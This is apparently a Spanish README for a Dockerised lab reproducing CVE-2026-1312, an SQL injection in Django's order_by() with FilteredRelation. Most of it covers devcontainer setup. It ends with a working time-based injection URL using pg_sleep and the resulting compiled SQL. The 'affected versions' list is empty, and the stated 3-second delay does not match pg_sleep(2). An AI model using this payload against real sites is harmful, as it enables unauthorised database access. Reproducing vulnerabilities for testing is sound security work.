
Reproduce CVE-2026-1312, una vulnerabilidad de inyección SQL en Django, con un entorno Dockerizado y un PoC paso a paso para pruebas de seguridad.
CVE-2026-1312 es una vulnerabilidad de inyección SQL de alto riesgo en Django: cuando se utiliza un alias de columna que contiene puntos en QuerySet.order_by(), combinado con FilteredRelation para construir dinámicamente consultas mediante expansión de diccionarios, un atacante puede inyectar SQL malicioso
Versiones afectadas:
Este proyecto de vulnerabilidad se construye utilizando el devcontainer de vscode
1️⃣ Abrir el proyecto Abra el directorio raíz del proyecto existente (que contiene la carpeta .devcontainer) con VS Code.
2️⃣ Reabrir el contenedor (construir Dev Container)
Presione Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)
Escriba Remote-Containers: Reopen in Container
VS Code leerá la configuración de .devcontainer y construirá el contenedor (la primera construcción puede tardar unos minutos)
⚠️ Si el Dockerfile o las dependencias se han actualizado, puede seleccionar Remote-Containers: Rebuild Container para asegurarse de usar el entorno más reciente.
3️⃣ Ejecutar el servidor de desarrollo de Django
Abra la paleta de comandos Ctrl+Shift+P
Escriba Tasks: Run Task
Seleccione django:start (la tarea ya está configurada en .vscode/tasks.json)
Esta tarea iniciará el servidor de desarrollo de Django dentro del contenedor
Por defecto escucha en 0.0.0.0:8086
4️⃣ Abrir el navegador y acceder al proyecto
Abra el navegador y acceda a:
5️⃣ Notas
Primera ejecución:
Puede ser necesario ejecutar las migraciones de la base de datos:
python manage.py migrate
Acceda a la interfaz /book/search, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Podrá ver que el retraso de 3 segundos se logra correctamente
En este momento, el SQL compilado por la capa ORM de Django es
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC